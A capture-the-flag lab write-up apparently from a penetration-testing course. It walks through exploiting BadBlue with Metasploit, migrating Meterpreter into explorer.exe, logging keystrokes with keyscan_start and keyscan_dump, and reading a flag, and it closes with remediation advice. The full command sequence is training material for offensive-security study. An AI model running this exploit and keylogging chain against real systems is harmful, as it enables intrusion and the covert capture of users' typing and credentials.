2025-11-17 / Log: file_and_keylogging

File and Keylogging

File and Keylogging

Classification: Host & Network Penetration Testing / The Metasploit Framework
Target: demo.ine.local — Windows, BadBlue on port 80
Flag: 70a569da306697d64fc6c19afea37d94

1. Executive Summary

After exploiting BadBlue for a Meterpreter session, we demonstrate Meterpreter’s file-interaction and keystroke logging features. Migrating into explorer.exe, the keyscan_start / keyscan_dump commands capture keystrokes typed on the target (shown here with a user entering text in Notepad). Finally the flag is read from C:\.

2. Recon & Exploitation

ping -c 4 demo.ine.local
db_nmap -sV <target>
services

Ping target

MSF global variables

Nmap scan

services — BadBlue on port 80

use exploit/windows/http/badblue_passthru
set RHOSTS <target>
exploit

Meterpreter session opened

3. Migrating to explorer.exe

The keylogger captures more reliably from an interactive desktop process.

pgrep explorer
migrate 1324

Migrating to explorer.exe

4. Keystroke Logging

Starting the keystroke sniffer.

keyscan_start

keyscan_start — keystroke sniffer running

While the logger runs, text is typed on the target (here, into Notepad).

Text being typed on the target (1)

Dumping the captured keystrokes shows what was typed (special keys appear as <Shift>, <CR>, etc.).

keyscan_dump

keyscan_dump — captured keystrokes

More input on the target…

Additional text on the target (2)

…is reflected in the next dump.

keyscan_dump

keyscan_dump — updated capture

5. Capturing the Flag

cd C:\
dir
cat flag.txt
# 70a569da306697d64fc6c19afea37d94

Flag from C:\flag.txt

6. Remediation Recommendations

  1. Patch/replace BadBlue to prevent the initial RCE that enables post-exploitation.
  2. Protect against injection into desktop processes with EDR and least privilege — a SYSTEM/interactive process gives keystroke visibility.
  3. Use MFA so captured static credentials are not sufficient on their own.
  4. Monitor for Meterpreter-style process migration and keylogging behaviour.